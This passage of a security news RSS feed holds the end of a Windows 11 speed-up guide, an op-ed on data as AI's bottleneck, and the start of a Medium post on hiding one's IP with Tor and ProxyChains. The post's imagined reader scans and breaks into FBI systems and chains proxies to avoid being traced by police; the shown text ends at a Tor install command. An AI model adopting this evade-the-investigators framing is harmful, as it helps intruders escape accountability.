<p>Now that you’ve done all that, check for bloatware and uninstall it. A good free anti-bloatware tool is <a href="https://www.bcuninstaller.com/" target="_blank" rel="noreferrer noopener">Bulk Crap Uninstaller</a>. You can also go to the website <a href="https://www.shouldiremoveit.com/" target="_blank" rel="noreferrer noopener">Should I Remove It?</a> — it offers recommendations on what software is useful, and what you can uninstall.</p>



<p>There’s a section of the website devoted to <a href="https://www.shouldiremoveit.com/oems-bloatware.aspx" target="_blank" rel="noreferrer noopener">advice on how to remove bloatware on PCs from specific manufacturers</a>. I highly recommend going there, because it lists all the bloatware different manufacturers install on their PCs. That section of the site also compares how much bloatware major manufacturers ship on their PCs. It rates Toshiba as having the most and Acer as having the least.</p>



<p>Finally, when you buy a new PC online, check whether there’s an option to leave off trial software and software you don’t need to run your PC. That will stop bloatware from getting on your system in the first place.</p>



<h2 class="wp-block-heading">6. Turn off search indexing</h2>



<p>Windows 11 search performs indexing in your hard disk in the background, allowing you to search your PC more quickly than if no indexing were being done. That’s good for fast searches, but not so good for slower PCs, because indexing can cause a performance hit. You can give a slower machine a speed boost by turning off indexing. Even if you have an SSD disk, turning off indexing can improve your speed, because the constant writing to disk that indexing does can eventually slow down SSDs.</p>



<p>To turn it off, type <strong>services.msc</strong> into the search box on the taskbar and press <em>Enter</em>. The Services app appears. Scroll down to either <em>Indexing Service</em> or <em>Windows Search</em> in the list of services. Double-click it, and on the screen that appears, click <em>Stop</em>. Then reboot your machine. Your searches may be slightly slower, but you also may not notice the difference. You should, though, get an overall speed boost.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-05-stop-windows-search-indexing.jpg?quality=50&amp;strip=all" alt="turning off windows indexing" class="wp-image-3856524" width="806" height="593" sizes="auto, (max-width: 806px) 100vw, 806px"><figcaption class="wp-element-caption"><p>Here’s how to turn off Windows 11 indexing.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p>Alternatively, you can turn off indexing only for files in certain locations. In this way, you can still index files and folders you often search for but turn off indexing for the rest of your hard disk. So you’d still get fast searches for files you use often, while increasing your PC’s performance.</p>



<p>To do it, type <strong>index</strong> in the Windows 11 search box and click the <em>Indexing Options</em> result that appears. The Indexing Options page of the Control Panel appears. Click the <em>Modify</em> button, and you’ll see a list of locations that are being indexed, such as Microsoft Outlook, your personal files, and so on. Uncheck the box next to any location, and it will no longer be indexed.</p>



<h2 class="wp-block-heading">7. Clean out your hard drive</h2>



<p>A bloated hard drive filled with files you don’t need can slow down your PC. Taking a few minutes to clean it can give an immediate speed boost. A built-in Windows 11 tool called Storage Sense will do the job for you.</p>



<p>Launch the Settings app, select <em>System &gt; Storage</em>, scroll down to the “Storage management” section, and next to Storage Sense, move the toggle from Off to On. From now on, Windows will constantly monitor your PC and delete old junk files you no longer need — temporary files, files in the Downloads folder that haven’t been changed in a month, and old Recycle Bin files.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-07-storage-sense.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of windows settings  /&gt; system &gt; storage screen with storage sense toggle highlighted" class="wp-image-4177288" width="1024" height="796" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Here’s where to turn on Storage Sense.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p>You can also customize when Storage Sense runs and what should be deleted automatically — for example, whether to delete files from the Downloads folder after they’ve been there for more than 30 days. To do it, click the right-facing arrow next to the Storage Sense On/Off slider.</p>



<h2 class="wp-block-heading">8. Disable shadows, animations, and visual effects</h2>



<p>Those who like eye candy are probably big fans of Windows 11’s shadows, animations, and visual effects. They typically don’t affect performance on fast, newer PCs. But they can exact a performance hit on older, slower machines.</p>



<p>If you’ve got a slower PC, turn them off. To do it, in the Windows 11 search box, type <strong>sysdm.cpl</strong>, press <em>Enter</em>, and then click the <em>sysdm.cpl </em>icon. That launches the Control Panel’s System Properties dialog box. Click the <em>Advanced</em> tab and click <em>Settings</em> in the Performance section. That brings you to the Performance Options dialog box. (Make sure you’re on the Visual Effects tab of the dialog box.) You’ll see a varied list of animations and special effects.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-07-performance-options.jpg?quality=50&amp;strip=all" alt="performance options dialog box listing animations and other options to turn off for faster performance" class="wp-image-3856532" width="800" height="602" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption"><p>The Performance Options dialog box lets you turn off visual effects that might be slowing down Windows 11.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p>If you love to tweak, you can turn individual options on and off. These are the animations and special effects you’ll probably want to turn off, because they have the greatest effect on system performance:</p>



<ul class="wp-block-list">
<li>Animate controls and elements inside windows</li>



<li>Animate windows when minimizing and maximizing</li>



<li>Animations in the taskbar</li>



<li>Fade or slide menus into view</li>



<li>Fade or slide ToolTips into view</li>



<li>Fade out menu items after clicking</li>



<li>Show shadows under windows</li>
</ul>



<p>However, it’s a lot easier to just select the <em>Adjust for best performance</em> option at the top of the screen and click <em>OK</em>. Windows 11 will then turn off the effects that slow down your system.</p>



<h2 class="wp-block-heading">9. Disable transparency</h2>



<p>To get an even bigger speed boost, go beyond turning off shadows, animations, and visual effects. Also disable the transparency effects in the taskbar and other Windows 11 locations. Windows does a surprising amount of heavy lifting to create transparency effects, and turning them off can make a difference in system performance.</p>



<p>To do it, run the Settings app and select<em> Personalization &gt; Colors</em>, then move the <em>Transparency effects</em> slider to <em>Off</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-09-transparency.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of windows settings  /&gt; personalization &gt; colors screen with transparency effects toggle highlighted" class="wp-image-4177289" width="1024" height="490" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Turning off Windows 11’s transparency effects can help speed up performance.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">10. Change your power settings</h2>



<p>Your Windows 11 PC’s power settings let you balance its energy use with its performance. If you’re using the most power-efficient setting, you’re slowing down your PC, because the setting reduces your PC’s performance to save energy. (Even desktop PCs typically have a power-saving setting.) Changing your power setting to one of the less power-efficient options will give you an instant performance boost.</p>



<p>To do it, run the Settings app, then choose <em>System</em> and click the right-facing arrow next to <em>Power</em>. Depending on whether you’re using a laptop or a desktop PC (and if you’re using a laptop, whether it’s plugged in), you’ll see either a “Plugged in” or “On battery” setting that lists the power mode you’re using. Click the drop-down arrow next to it and choose the setting you want.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-09-power-settings.jpg?quality=50&amp;strip=all" alt="changing power mode in windows 11 settings" class="wp-image-3856527" width="871" height="499" sizes="auto, (max-width: 871px) 100vw, 871px"><figcaption class="wp-element-caption"><p>Change your power settings to give your PC a performance boost.</p></figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p><em>Best Performance</em> gives you the most oomph but uses the most power. <em>Balanced</em> finds a happy medium between power use and better performance, and <em>Best Power Efficiency</em> does everything it can to give you as much battery life as possible. Desktop users have no reason to choose Best Power Efficiency, and even laptop users should consider the Balanced option when unplugged.</p>



<h2 class="wp-block-heading">11. Turn off Windows tips and tricks</h2>



<p>Windows 11 constantly watches what you’re doing on your PC and gives you tips about things you might want to do with the operating system. I’ve never found these tips helpful. And I don’t like the privacy implications of Windows constantly taking a virtual look over my shoulder. (Also see: <a href="https://www.computerworld.com/article/1616461/how-to-protect-your-privacy-in-windows-11.html">How to protect your privacy in Windows 11</a>.)</p>



<p>Beyond that, this monitoring can also make your PC run more sluggishly. So to speed things up, tell Windows to stop being so nosy and giving you advice. To do it, run the Settings app and select <em>System &gt; Notifications</em>. Scroll down to <em>Additional settings</em> and click the down arrow. From the options that appear, uncheck the box marked <em>Get tips and suggestions when using Windows</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-11-notifications-windows-tips.jpg?quality=50&amp;strip=all" alt="screenshot of Windows notifications additional settings with windows tips checkbox" class="wp-image-4177285" width="858" height="187" sizes="auto, (max-width: 858px) 100vw, 858px"><figcaption class="wp-element-caption"><p>Turn off Windows’ suggestions to help things run more smoothly (and regain a measure of privacy).</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">12. Disable Game Mode</h2>



<p>Windows 11’s Game Mode optimizes your PC for playing games. When it detects that you’re playing a game, it prioritizes system resources for gaming, taking them away from other apps and background processes. That’s great for serious gamers, but when you’re not playing games, it can slow down your system because it keeps some system resources in reserve in case you start playing a game. It occasionally causes stability issues as well. So turning off Game Mode may be able to give your PC a quick boost. (You can always turn it back on again when you want to play a game.)</p>



<p>Game Mode is turned on by default, so even if you’ve never played a game on your PC, it’s probably enabled. To turn it off, go to <em>Settings &gt; Gaming &gt; Game Mode</em> and move the Game Mode slider to Off.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-12-game-mode.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of windows settings  /&gt; gaming screen with game mode area highlighted" class="wp-image-4177287" width="1024" height="428" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Game Mode can sometimes cause stability and performance issues, so turning it off may give your PC a boost.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">13. Update device drivers</h2>



<p>Your Windows 11 PC can become a slowpoke if its drivers are old and in the way. Outdated drivers can exact a big performance hit. Graphics drivers are often the biggest culprit in driver-related slowdowns. To check whether your graphics driver is outdated, and to update to the latest one:</p>



<ol start="1" class="wp-block-list">
<li>In the Windows search box, type <strong>device manager</strong> and click on the <em>Device Manager</em> icon that appears.</li>



<li>Scroll to the Display Adapters entry and click the side-facing arrow to expand it.</li>



<li>Right-click the driver, and from the context menu that appears, select <em>Update Driver</em>.</li>
</ol>



<p>You’ll be asked whether to have Windows search for an updated driver, or whether you want to find one and install it manually. Your best bet is to let Windows do the work. Follow the on-screen instructions to get the driver installed.</p>



<p>You can use the Device Manager to update all your drivers this way. That’s time-consuming, so consider asking Windows to do the work for you. To do it, launch the Settings app (pressing the Windows key + I is a good shortcut for doing it) and select <em>Windows Update</em> from the left pane.  Select <em>Advanced Options &gt; Optional Updates</em>. You’ll see a list of all the updates Windows has found but hasn’t installed. Select any of the drivers you want to install, then click <em>Download &amp; install</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-13-update-drivers.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of windows update  /&gt; advanced options &gt; optional updates screen listing an intel driver update" class="wp-image-4177290" width="1024" height="534" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Tell Windows Update to update your drivers.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">14. Turn off background app permissions</h2>



<p>Some apps run various processes in the background even if you don’ t launch them. You’ll likely never know they’re doing it, and they can cause unexpected slowdowns and a sluggish PC. <a href="https://support.microsoft.com/en-us/windows/windows-background-apps-and-your-privacy-83f2de44-d2d9-2b29-4649-2afe0913360a" target="_blank" rel="noreferrer noopener">Microsoft says</a> these background processes do things such as syncing or sending notifications. That can slow your PC down, especially if more than one app is doing it.</p>



<p>You can head off performance problems by not allowing the apps to run in the background. To do it:</p>



<ol class="wp-block-list">
<li>Go to <em>Settings &gt; Apps &gt; Installed apps</em>.</li>



<li>Click the three horizontal dots on the right of any app whose permissions you want to turn off and select <em>Advanced options</em>.</li>



<li>Click the dropdown under “Background app permissions,” and choose <em>Never</em> if you want to stop the app from ever running a process in the background, or <em>Power optimized</em> if you want to let Windows decide whether to let the processes run when they won’t cause your PC to take a performance hit.</li>
</ol>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-14-background-app-permissions.jpg?quality=50&amp;strip=all" alt="screenshot of settings  /&gt; apps &gt; installed apps &gt; claude with background app permissions dropdown menu" class="wp-image-4177284" width="882" height="512" sizes="auto, (max-width: 882px) 100vw, 882px"><figcaption class="wp-element-caption"><p>Managing background app permissions properly can give your PC a performance boost.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">15. Roll back your PC to a previous state</h2>



<p>Sometimes your PC will slow down for no apparent reason, and stay slow. It could be a new driver slowing your system down. Perhaps accidentally you changed a system setting that caused the problem. It can be difficult, and often impossible, to get to the root of these kinds of problems and fix them.</p>



<p>If you’ve noticed that your computer has become sluggish recently, there’s something that might solve the issue: Restore your PC to the state it was in before the problem began. You can easily do this via System Restore.</p>



<p>To do it:</p>



<ol start="1" class="wp-block-list">
<li>Make sure System Restore is turned on by going to <em>Settings &gt; System &gt; About</em>, and under the “Device info” section, click <em>System protection</em>.</li>



<li>From the screen that appears, click <em>Configure</em> and select <em>Turn on system protection</em> if it’s not already turned on. Click <em>OK</em>.</li>



<li>You’ll be sent back to the System Protection screen. Click <em>System Restore</em>.</li>



<li>On the screen that appears, select <em>Recommended restore</em> and click <em>Next</em> if you want to revert to the most recent restore point. Select <em>Choose a different restore point</em> if you want to choose one yourself, and click <em>Next</em>.</li>



<li>Restart your PC. It will revert to its previous state. Note that when you do this, your documents, pictures, and personal data won’t be deleted.</li>
</ol>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-14-system-restore.jpg?quality=50&amp;strip=all" alt="turning on system restore in the restore settings dialog box" class="wp-image-3856523" width="407" height="466" sizes="auto, (max-width: 407px) 100vw, 407px"><figcaption class="wp-element-caption"><p>Here’s how to turn on System Restore.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">16. Restart Windows</h2>



<p>Here’s one of IT’s not-quite-secret weapons for troubleshooting and speeding up a PC: shut it down and restart it. Doing that clears out any excess use of RAM that otherwise can’t be cleared. It also kills processes that you might have set in motion and are no longer needed, but that continue running and slow your system.</p>



<p>If your Windows 11 PC has turned sluggish over time for no apparent reason, you may be surprised at how much more quickly it will run when you do this. I can vouch for it, and I restart my Windows 11 PCs regularly even if they’re not sluggish, just as a precautionary measure.</p>



<p><em>This article was originally published in February 2023 and most recently updated in June 2026.</em></p>



<h4 class="wp-block-heading"><strong>More Windows 11 tips:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1616436/windows-11-cheat-sheet.html">Windows 11 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/1631342/windows-11-productivity-tips.html">8 ways to be more productive in Windows 11</a></li>



<li><a href="https://www.computerworld.com/article/1616461/how-to-protect-your-privacy-in-windows-11.html">How to protect your privacy in Windows 11</a></li>



<li><a href="https://www.computerworld.com/article/1674590/repair-windows-10-and-11-step-by-step-guide.html">How to repair Windows 10 or 11 in 4 steps</a></li>



<li><a href="https://www.computerworld.com/article/1613870/data-recovery-in-windows.html">6 steps to recover missing data in Windows</a></li>



<li><a href="https://www.computerworld.com/article/1639336/how-to-fix-a-windows-black-screen.html">How to fix a Windows black screen</a></li>



<li><a href="https://www.computerworld.com/article/1614415/how-to-fix-a-frozen-start-menu-or-taskbar-in-windows.html">The fast way to fix a frozen Start menu or taskbar in Windows</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">Microsoft cheat sheets: Dive into Windows, Office, and Copilot</a></li>
</ul>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The next AI breakthrough won’t come from bigger models, but from better data]]></title>
<description><![CDATA[Artificial intelligence does not advance at the same pace across industries. It presses forward in some directions while lagging behind in others.



Spend time with today’s most advanced AI applications, and this contrast becomes obvious. In software development, AI is quickly becoming ubiquitou...]]></description>
<link>https://tsecurity.de/de/3571975/ai-nachrichten/the-next-ai-breakthrough-wont-come-from-bigger-models-but-from-better-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571975/ai-nachrichten/the-next-ai-breakthrough-wont-come-from-bigger-models-but-from-better-data/</guid>
<pubDate>Thu, 04 Jun 2026 11:03:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Artificial intelligence does not advance at the same pace across industries. It presses forward in some directions while lagging behind in others.</p>



<p>Spend time with today’s most advanced AI applications, and this contrast becomes obvious. In software development, AI is quickly becoming ubiquitous. It writes production-ready code, explains obscure libraries, and iterates at a pace human teams have difficulty matching.</p>



<p>But place that same AI model inside a complex customer support workflow or ask it to reason through a nuanced clinical scenario, and the cracks begin to show. Multi-step reasoning falters. Context gets lost. Performance drops in ways that can seem inconsistent with the model’s strengths elsewhere.</p>



<p>These AI models are often similar. They run on similar hardware and are often trained in similar ways. So why the mismatch in performance across tasks? The simplest explanation is also the most overlooked: data.</p>



<p>Software engineering benefits from an immense, structured, and highly visible digital record. Code is written in standardized languages, benefits from robust documentation, is reviewed in public forums, and is discussed at scale. That ecosystem has generated a robust and massively useful pool of training material.</p>



<p>Other fields often do not. For example, healthcare data is scattered across institutions, wrapped in privacy constraints, expressed in multiple modalities, and rarely ready out-of-the-box for AI training. Enterprise workflows are captured in internal systems that were never designed for training AI. Multilingual speech data varies widely in quality and representation.</p>



<p>This imbalance creates what I describe as “the data gap.” This is the distance between what models are capable of in theory and what they can achieve in practice, because the right data does not yet exist in usable form. Closing this data gap may be the most important—and least glamorous—challenge in AI today.</p>



<h2 class="wp-block-heading">The missing pillar of AI progress</h2>



<p>Three forces are driving the recent advances in AI: the models, the chips, and the data.</p>



<p>On the AI models, the field has invested heavily. Major research organizations employ thousands of researchers and scientists who are actively refining architectures, training techniques, and evaluation methods. Breakthroughs are measured in benchmark scores, conference papers, and model performance on human tasks. On the computing chips, the investment has been equally intense. Hardware manufacturers and infrastructure providers are pouring billions of dollars into building and supporting data centers that deliver faster results via large-scale training.</p>



<p>Yet data has not received the same institutional focus for AI development. Conversations with researchers at frontier AI labs share a similar frustration that today’s model capabilities in key use cases, such as healthcare, are limited less by architectural imagination and more by the availability of high-quality, domain-specific data. The bottleneck is not always a lack of ideas, but a lack of reliable inputs.</p>



<p>We are long past scraping the internet for useful data, and this path does not scale. Progress depends on building and curating datasets that reflect the complexity of true lived experience and organizational processes. That work requires both scientific rigor and research specialization in the field of data for AI.</p>



<h2 class="wp-block-heading">The dataset behind every leap</h2>



<p>The <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html" data-type="link" data-id="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">history of AI</a> reinforces a consistent lesson: major leaps in model capability follow major leaps in the availability of quality data. From early vision systems that relied on clearly labeled images to today’s language models trained on massive text collections, each major leap has depended on access to more high-quality data.</p>



<p>Architectural innovation alone is rarely enough. The value of these new approaches only emerges when paired with large, structured, and representative datasets that reveal what the models can actually do in practice. Whether in vision or language, progress has depended on the painstaking work of collecting, organizing, and validating the underlying data.</p>



<p><a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">Large language models</a> illustrate this clearly. Their emergence was not just the result of better training techniques, but of access to an unprecedented volume of data. The models did not generate that data. They relied on it. That pattern raises a pressing question for the present: who is building the next generation of foundational datasets?</p>



<p>Across domains ranging from healthcare to audio to agentic task performance, there is no widely accepted blueprint. What constitutes a gold-standard dataset for training an AI agent to handle complex enterprise tasks? What does a clinically meaningful evaluation look like for a model that will assist in medical decision-making? How should multilingual speech data be curated to ensure broad representation and reliable performance?</p>



<p>These are not simple sourcing problems. They are fundamental research challenges that need to be solved.</p>



<h2 class="wp-block-heading">When data is treated as a commodity</h2>



<p>Too often, consequential data decisions are handled like procurement exercises. An organization requests “medical conversations” or “wildlife scenes,” and the request is routed to internal procurement or data sourcing teams, or to external data vendors, who assemble data that appears to match the description. The implicit assumption is that data is interchangeable, that one dataset is as good as another so long as it meets a basic specification.</p>



<p>Actual application suggests otherwise. Seemingly small choices about factors such as inclusion criteria, annotation standards, filtering rules, and validation protocols can dramatically alter downstream performance. Data design shapes model behavior as much as architecture does.</p>



<p>Three structural issues compound the problem:</p>



<ul class="wp-block-list">
<li><strong>Capacity: </strong>There are relatively few specialized teams dedicated to building domain-specific datasets at the highest level of rigor. Talent and funding have gravitated toward model development and hardware innovation. Data work often operates in the background, even though it underpins both.</li>



<li><strong>Design: </strong>Constructing a dataset is a distinct discipline from designing a neural network. It requires expertise in experimental design, domain knowledge, and statistical validation. Expecting model researchers to simultaneously shoulder the full burden of data research, while also training and evaluating the models, overlooks the complexity of the upstream task.</li>



<li><strong>Translation: </strong>The researchers who are requesting specific data sources to improve the models are often not the same people responsible for sourcing that data. As a result, nuances and research-backed expertise can often be missing or diluted as requests pass through layers of procurement and vendor relationships. The result can be data that meets the specification sheet, but in fact fails to advance model performance.</li>
</ul>



<p>The rise of annotation providers and reinforcement learning services has addressed part of the need. Rating model outputs, labeling text, and evaluating structured information are essential for many optimization tasks. But these activities generate data that is carefully constructed for specific, bounded purposes.</p>



<p>The frontier challenges in AI require more. They demand datasets derived from real human activity and organic organizational processes. Such data is complex, multimodal, and sensitive. It is rarely AI-ready by default. And converting it into reliable training and evaluation material is a scientific undertaking.</p>



<h2 class="wp-block-heading">The need for scientific rigor for the AI data layer</h2>



<p>If high-quality data is a central bottleneck, then scientific rigor is part of the solution. Just as leading model-builders have dedicated research labs and hardware has dedicated development ecosystems, the data layer for AI requires focused, scientifically-grounded institutions.</p>



<p>This means engaging directly with core questions like dataset design, evaluation methodology, and quality control. The conversation cannot end at volume; it must address data structure, representativeness, and expert validation.</p>



<p>Dataset construction must be approached as experimental design. Protocols must be documented and validated. Evaluation frameworks must test whether the dataset truly reflects the intended applications.</p>



<p>The field also requires standards and benchmarks that reflect real-world complexity, not simplified proxies. In healthcare, for instance, evaluating a system intended for clinical assistance with generic question-and-answer tests is insufficient. Real-world clinical environments involve multimodal inputs and contextual judgment. Benchmarks must reflect that reality if they are to function as meaningful gates before deployment.</p>



<p>Quality measurement is another crucial frontier. Finance relies on standardized metrics such as credit scores to assess risk. AI lacks an equivalent for datasets and benchmarks. Developing clear methodology to quantify dataset quality and evaluation reliability brings clarity to model assessment.</p>



<p>The criteria for evaluating a multilingual audio library will differ from those of a multimodal oncology dataset. Yet the underlying principle remains constant. Better models require better-defined, better-measured data.</p>



<h2 class="wp-block-heading">The risks of getting it wrong</h2>



<p>As AI systems move closer to high-stakes deployment, weak data practices carry tangible risks.</p>



<p>Benchmarks cannot be created with the same data that is used for training—that’s giving the test answers to the model ahead of time. Scaling data volume without prioritizing data quality and selection diminishes model performance gains, and can even bias against or omit underrepresented populations. These are methodological challenges, and ones that must be solved.</p>



<p>The rigor required at the data layer may not attract headlines. It does not typically lend itself to dramatic product launches. Yet the data layer for AI is foundational to trust, safety, and sustained progress for all AI progress.</p>



<h2 class="wp-block-heading">An ecosystem for the data era</h2>



<p>No single organization can resolve the data gap alone. What is needed is an ecosystem of AI data labs and research groups, each focused on different domains and challenges but united by a commitment to scientific discipline. These institutions would collaborate with model researchers and domain experts who would tackle challenges such as dataset contamination, factuality, groundedness, de-identification, international representation, and bias. They would design benchmarks that mirror real-world complexity rather than simplified abstractions.</p>



<p>AI’s trajectory will not be determined solely by larger models or faster chips. It will be shaped by the datasets we construct, the standards we adopt, and the rigor we apply at the foundation. The uneven frontier we see today reflects an uneven data landscape. Bridging the gap requires deliberate, research-driven dataset design.</p>



<p>If we want AI systems capable of operating reliably in clinical contexts, navigating enterprise workflows, and functioning responsibly across languages and cultures, we must treat data for AI as a first-class scientific endeavor.</p>



<p>AI models have their research labs. AI chip-builders have their fabrication plants. AI data needs institutions of equal seriousness and ambition.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Ultimate Guide to Stay Hidden Online: TOR and Proxy Chaining]]></title>
<description><![CDATA[The Tale of Three Brothers (Harry Potter and The Deathly Hallows)Hi, it’s me again. I’ve been superbly busy with college since this is my final year as a university student. I need to pass two more thesis presentations until it’s done, but I am kind of missing writing in Medium, so here I am befo...]]></description>
<link>https://tsecurity.de/de/3571867/hacking/the-ultimate-guide-to-stay-hidden-online-tor-and-proxy-chaining/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571867/hacking/the-ultimate-guide-to-stay-hidden-online-tor-and-proxy-chaining/</guid>
<pubDate>Thu, 04 Jun 2026 10:21:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*V5N4h9jsyVaO_rgAMQGdwg.gif"><figcaption>The Tale of Three Brothers (Harry Potter and The Deathly Hallows)</figcaption></figure><p>Hi, it’s me again. I’ve been superbly busy with college since this is my final year as a university student. I need to pass two more thesis presentations until it’s done, but I am kind of missing writing in Medium, so here I am before my page turns into spiderwebs. As a student, I met a lot of people here. The Math prodigy, computer freak, or that one friend who actively joins every organization they possibly can. For me, I’m definitely none of them. If I can portray myself, I am probably one of your friends who like to sit in the back of the class and read memes, totally invisible *LMAO.</p><p>Well, are you a Potterhead? If you know the Tale of Three Brothers, you probably could guess that the younger brother is my favorite. The three brothers seek to cheat death and are granted magical objects. The first brother receives the Elder Wand, the second the Resurrection Stone, and the third the Cloak of Invisibility. The Elder Wand is said to be unbeatable in a duel, the Resurrection Stone can bring back the dead, and the Cloak of Invisibility makes the wearer invisible. However, the objects ultimately lead to the downfall of the brothers due to their greed and arrogance.</p><p>In the internet world, having the elder wand and the resurrection stone is dope but the more important thing you need to consider is how to be hidden as if you wear the invisibility cloak. The Internet you saw is nothing but an iceberg, the more you go deeper, the darker it gets. By staying hidden, you reduce the risk of being tracked by law enforcement or hackers who might want to steal your personal information or use your device for illegal purposes. To reach that certain anonymity level, I’ll show you how to wear the cloak — I mean utilizing the TOR and proxy chains.</p><h3><strong>The Concept</strong></h3><p>Okay let's begin with the concept, said you are a hacker, and you want to scan the FBI website (strictly not recommended *LOL). You got some information about the FBI systems by running several commands on your computer. The open ports, the operating systems used by the FBI, the service that runs on their system, literally everything. You could utilize that and exploit the vulnerability of the system even to penetrate in. Then a few hours later the police knocked on your door and said that you are under arrest. Well, how that could possibly happen?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kREXRJy_4ZP4FDq6NJl7vA.png"></figure><p>Well by the time you scan the FBI website and gain several information about them, they also learn a few things about you. The scan that you sent to them has a FROM address. Only by analyzing the logs, they’ll know immediately your IP address and then track you down in Canada. Simple as that. But don’t worry I’m not going to ruin the fun, below is the answer, yup ProxyChains. ProxyChains could help you to run applications through a proxy server, which can help to hide your IP address and encrypt your internet traffic. However, ProxyChains alone does not provide anonymity on the internet. To achieve anonymity, we need a combination of ProxyChains and Tor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gy9wHmZ0DiZhqa16ZPBolw.png"></figure><p>Why do we need a lot of proxy servers? Well, personally I do not believe in things such as perfect anonymity, when you use only one proxy server, and your target knows that the IP address belongs to that proxy server, they can contact the provider asking for logs and boom you got caught. Using many proxy servers also did not guarantee that you wouldn’t get caught, but at least, that simple brainfuck game will make you a bit harder to find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*8xWvxWcc8rhg5psOVEuRtw.png"></figure><h3>The Installation</h3><p>Before I do the installation, I’ll make it clear that I myself do not promote any illegal activities by sharing this. I’m consciously writing this speaking on ethical hacking matters. Okay, the first thing you need to know is that ProxyChains comes preinstalled in Kali Linux, so now we just need to install the Tor service.</p><pre>sudo apt install tor</pre><figure><img alt="" 